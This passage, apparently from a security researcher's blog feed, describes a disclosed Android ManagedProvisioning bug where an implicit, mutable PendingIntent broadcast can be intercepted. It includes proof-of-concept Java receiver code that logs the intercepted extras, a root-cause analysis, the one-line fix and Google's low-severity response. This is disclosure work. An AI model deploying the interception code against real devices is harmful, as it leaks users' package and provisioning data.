&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#6e7681"&gt; &lt;/span&gt;&lt;span style="color:#d2a8ff;font-weight:bold"&gt;@Override&lt;/span&gt;&lt;span style="color:#6e7681"&gt; &lt;/span&gt;&lt;span style="color:#ff7b72"&gt;public&lt;/span&gt;&lt;span style="color:#6e7681"&gt; &lt;/span&gt;&lt;span style="color:#ff7b72"&gt;void&lt;/span&gt;&lt;span style="color:#6e7681"&gt; &lt;/span&gt;&lt;span style="color:#d2a8ff;font-weight:bold"&gt;onActiveChanged&lt;/span&gt;(&lt;span style="color:#ff7b72"&gt;int&lt;/span&gt;&lt;span style="color:#6e7681"&gt; &lt;/span&gt;sessionId,&lt;span style="color:#6e7681"&gt; &lt;/span&gt;&lt;span style="color:#ff7b72"&gt;boolean&lt;/span&gt;&lt;span style="color:#6e7681"&gt; &lt;/span&gt;active)&lt;span style="color:#6e7681"&gt; &lt;/span&gt;{}&lt;span style="color:#6e7681"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#6e7681"&gt; &lt;/span&gt;&lt;span style="color:#d2a8ff;font-weight:bold"&gt;@Override&lt;/span&gt;&lt;span style="color:#6e7681"&gt; &lt;/span&gt;&lt;span style="color:#ff7b72"&gt;public&lt;/span&gt;&lt;span style="color:#6e7681"&gt; &lt;/span&gt;&lt;span style="color:#ff7b72"&gt;void&lt;/span&gt;&lt;span style="color:#6e7681"&gt; &lt;/span&gt;&lt;span style="color:#d2a8ff;font-weight:bold"&gt;onProgressChanged&lt;/span&gt;(&lt;span style="color:#ff7b72"&gt;int&lt;/span&gt;&lt;span style="color:#6e7681"&gt; &lt;/span&gt;sessionId,&lt;span style="color:#6e7681"&gt; &lt;/span&gt;&lt;span style="color:#ff7b72"&gt;float&lt;/span&gt;&lt;span style="color:#6e7681"&gt; &lt;/span&gt;progress)&lt;span style="color:#6e7681"&gt; &lt;/span&gt;{}&lt;span style="color:#6e7681"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#6e7681"&gt; &lt;/span&gt;&lt;span style="color:#d2a8ff;font-weight:bold"&gt;@Override&lt;/span&gt;&lt;span style="color:#6e7681"&gt; &lt;/span&gt;&lt;span style="color:#ff7b72"&gt;public&lt;/span&gt;&lt;span style="color:#6e7681"&gt; &lt;/span&gt;&lt;span style="color:#ff7b72"&gt;void&lt;/span&gt;&lt;span style="color:#6e7681"&gt; &lt;/span&gt;&lt;span style="color:#d2a8ff;font-weight:bold"&gt;onFinished&lt;/span&gt;(&lt;span style="color:#ff7b72"&gt;int&lt;/span&gt;&lt;span style="color:#6e7681"&gt; &lt;/span&gt;sessionId,&lt;span style="color:#6e7681"&gt; &lt;/span&gt;&lt;span style="color:#ff7b72"&gt;boolean&lt;/span&gt;&lt;span style="color:#6e7681"&gt; &lt;/span&gt;success)&lt;span style="color:#6e7681"&gt; &lt;/span&gt;{}&lt;span style="color:#6e7681"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;});&lt;span style="color:#6e7681"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The receiver logs everything it intercepts:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-java" data-lang="java"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#d2a8ff;font-weight:bold"&gt;@Override&lt;/span&gt;&lt;span style="color:#6e7681"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff7b72"&gt;public&lt;/span&gt;&lt;span style="color:#6e7681"&gt; &lt;/span&gt;&lt;span style="color:#ff7b72"&gt;void&lt;/span&gt;&lt;span style="color:#6e7681"&gt; &lt;/span&gt;&lt;span style="color:#d2a8ff;font-weight:bold"&gt;onReceive&lt;/span&gt;(Context&lt;span style="color:#6e7681"&gt; &lt;/span&gt;context,&lt;span style="color:#6e7681"&gt; &lt;/span&gt;Intent&lt;span style="color:#6e7681"&gt; &lt;/span&gt;intent)&lt;span style="color:#6e7681"&gt; &lt;/span&gt;{&lt;span style="color:#6e7681"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#6e7681"&gt; &lt;/span&gt;Log.w(TAG,&lt;span style="color:#6e7681"&gt; &lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;INTERCEPTED PROVISIONING CALLBACK BROADCAST&amp;#34;&lt;/span&gt;);&lt;span style="color:#6e7681"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#6e7681"&gt; &lt;/span&gt;Log.w(TAG,&lt;span style="color:#6e7681"&gt; &lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;Action: &amp;#34;&lt;/span&gt;&lt;span style="color:#6e7681"&gt; &lt;/span&gt;&lt;span style="color:#ff7b72;font-weight:bold"&gt;+&lt;/span&gt;&lt;span style="color:#6e7681"&gt; &lt;/span&gt;intent.getAction());&lt;span style="color:#6e7681"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#6e7681"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#6e7681"&gt; &lt;/span&gt;Bundle&lt;span style="color:#6e7681"&gt; &lt;/span&gt;extras&lt;span style="color:#6e7681"&gt; &lt;/span&gt;&lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt;&lt;span style="color:#6e7681"&gt; &lt;/span&gt;intent.getExtras();&lt;span style="color:#6e7681"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#6e7681"&gt; &lt;/span&gt;&lt;span style="color:#ff7b72"&gt;if&lt;/span&gt;&lt;span style="color:#6e7681"&gt; &lt;/span&gt;(extras&lt;span style="color:#6e7681"&gt; &lt;/span&gt;&lt;span style="color:#ff7b72;font-weight:bold"&gt;!=&lt;/span&gt;&lt;span style="color:#6e7681"&gt; &lt;/span&gt;&lt;span style="color:#79c0ff"&gt;null&lt;/span&gt;)&lt;span style="color:#6e7681"&gt; &lt;/span&gt;{&lt;span style="color:#6e7681"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#6e7681"&gt; &lt;/span&gt;&lt;span style="color:#ff7b72"&gt;for&lt;/span&gt;&lt;span style="color:#6e7681"&gt; &lt;/span&gt;(String&lt;span style="color:#6e7681"&gt; &lt;/span&gt;key&lt;span style="color:#6e7681"&gt; &lt;/span&gt;:&lt;span style="color:#6e7681"&gt; &lt;/span&gt;extras.keySet())&lt;span style="color:#6e7681"&gt; &lt;/span&gt;{&lt;span style="color:#6e7681"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#6e7681"&gt; &lt;/span&gt;Log.w(TAG,&lt;span style="color:#6e7681"&gt; &lt;/span&gt;key&lt;span style="color:#6e7681"&gt; &lt;/span&gt;&lt;span style="color:#ff7b72;font-weight:bold"&gt;+&lt;/span&gt;&lt;span style="color:#6e7681"&gt; &lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34; = &amp;#34;&lt;/span&gt;&lt;span style="color:#6e7681"&gt; &lt;/span&gt;&lt;span style="color:#ff7b72;font-weight:bold"&gt;+&lt;/span&gt;&lt;span style="color:#6e7681"&gt; &lt;/span&gt;extras.get(key));&lt;span style="color:#6e7681"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#6e7681"&gt; &lt;/span&gt;}&lt;span style="color:#6e7681"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#6e7681"&gt; &lt;/span&gt;}&lt;span style="color:#6e7681"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}&lt;span style="color:#6e7681"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;No special permissions required.&lt;/p&gt;
&lt;h2 id="video-demo"&gt;Video Demo&lt;/h2&gt;
&lt;video controls playsinline style="width:100%;max-width:720px;border-radius:6px;border:1px solid #2a2a2a;margin:1rem 0;"&gt;
&lt;source src="/media/poc_managedprovisioning.mp4" type="video/mp4"&gt;
Your browser does not support the video tag.
&lt;/video&gt;
&lt;p&gt;The video shows the PoC app intercepting the provisioning callback in real time on a Pixel device. For apps like Google Digital Wellbeing, the intercepted broadcast reveals package details without any permissions on the attacker&amp;rsquo;s side.&lt;/p&gt;
&lt;h2 id="root-cause"&gt;Root Cause&lt;/h2&gt;
&lt;p&gt;The issue boils down to three compounding decisions in the code:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Mutable PendingIntent&lt;/strong&gt; — &lt;code&gt;FLAG_MUTABLE&lt;/code&gt; allows the intent to be modified&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Implicit broadcast&lt;/strong&gt; — no &lt;code&gt;setPackage()&lt;/code&gt;, no explicit component, so any app can register for the action&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Predictable action string&lt;/strong&gt; — the action includes the session ID, which is observable via &lt;code&gt;PackageInstaller.SessionCallback&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;On U+ builds, &lt;code&gt;FLAG_ALLOW_UNSAFE_IMPLICIT_INTENT&lt;/code&gt; is added, which explicitly bypasses the platform&amp;rsquo;s own safety check. The fix is straightforward: make the callback intent explicit (set a component) or at minimum package-scoped (&lt;code&gt;setPackage()&lt;/code&gt;).&lt;/p&gt;
&lt;h2 id="what-i-did-not-demonstrate"&gt;What I Did NOT Demonstrate&lt;/h2&gt;
&lt;p&gt;To be precise about the scope:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;No arbitrary code execution&lt;/li&gt;
&lt;li&gt;No package replacement or privilege escalation&lt;/li&gt;
&lt;li&gt;No confirmed denial of service against provisioning (the success path relies on &lt;code&gt;SessionCallback.onFinished()&lt;/code&gt; + &lt;code&gt;ACTION_PACKAGE_ADDED&lt;/code&gt;, not this callback alone)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The demonstrated impact is &lt;strong&gt;callback interception and information disclosure&lt;/strong&gt; from a privileged provisioning flow.&lt;/p&gt;
&lt;h2 id="googles-response"&gt;Google&amp;rsquo;s Response&lt;/h2&gt;
&lt;p&gt;I reported this through the &lt;a href="https://bughunters.google.com"&gt;Android &amp;amp; Google Device Vulnerability Reward Program&lt;/a&gt;. The report was tracked as &lt;a href="https://issuetracker.google.com/issues/493654042"&gt;Issue 493654042&lt;/a&gt; on Google&amp;rsquo;s Issue Tracker.&lt;/p&gt;
&lt;p&gt;After investigation, the Android Security Team classified it as &lt;strong&gt;low severity&lt;/strong&gt; and marked it as &lt;strong&gt;Infeasible&lt;/strong&gt; for immediate action:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Thank you for taking the time to submit this report to the Android &amp;amp; Google Device Vulnerability Reward Program!&lt;/p&gt;
&lt;p&gt;We have investigated this issue and determined that this is low severity.&lt;/p&gt;
&lt;p&gt;We have logged this issue for potential remediation in a future version. At this time, this report is considered closed and will no longer be monitored.&lt;/p&gt;
&lt;p&gt;— Android Security Team&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The issue was logged for potential remediation in a future Android version but is not being actively tracked.&lt;/p&gt;
&lt;h2 id="my-take"&gt;My Take&lt;/h2&gt;
&lt;p&gt;I understand the &amp;ldquo;low severity&amp;rdquo; classification — there&amp;rsquo;s no RCE, no privilege escalation, and the provisioning flow doesn&amp;rsquo;t solely depend on this callback. But I think the response undersells the issue:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The code &lt;strong&gt;explicitly bypasses&lt;/strong&gt; a platform safety mechanism (&lt;code&gt;FLAG_ALLOW_UNSAFE_IMPLICIT_INTENT&lt;/code&gt;) that exists specifically to prevent this class of bug&lt;/li&gt;
&lt;li&gt;Enterprise provisioning metadata shouldn&amp;rsquo;t be observable by unprivileged apps&lt;/li&gt;
&lt;li&gt;The fix is trivial: one line — &lt;code&gt;intent.setPackage(context.getPackageName())&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Sometimes the value of security research isn&amp;rsquo;t in the severity score but in showing that even Google&amp;rsquo;s own platform code doesn&amp;rsquo;t always follow Google&amp;rsquo;s own security guidance.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;Tested on: &lt;code&gt;google/husky_beta/husky:CinnamonBun/CP21.260206.011/14911669:user/release-keys&lt;/code&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Source: &lt;a href="https://android.googlesource.com/platform/packages/apps/ManagedProvisioning"&gt;packages/apps/ManagedProvisioning&lt;/a&gt; — &lt;code&gt;InstallPackageTask.java&lt;/code&gt;&lt;/em&gt;&lt;/p&gt;</content><category term="android"/><category term="security"/><category term="vrp"/><category term="aosp"/><category term="pendingintent"/></entry></feed>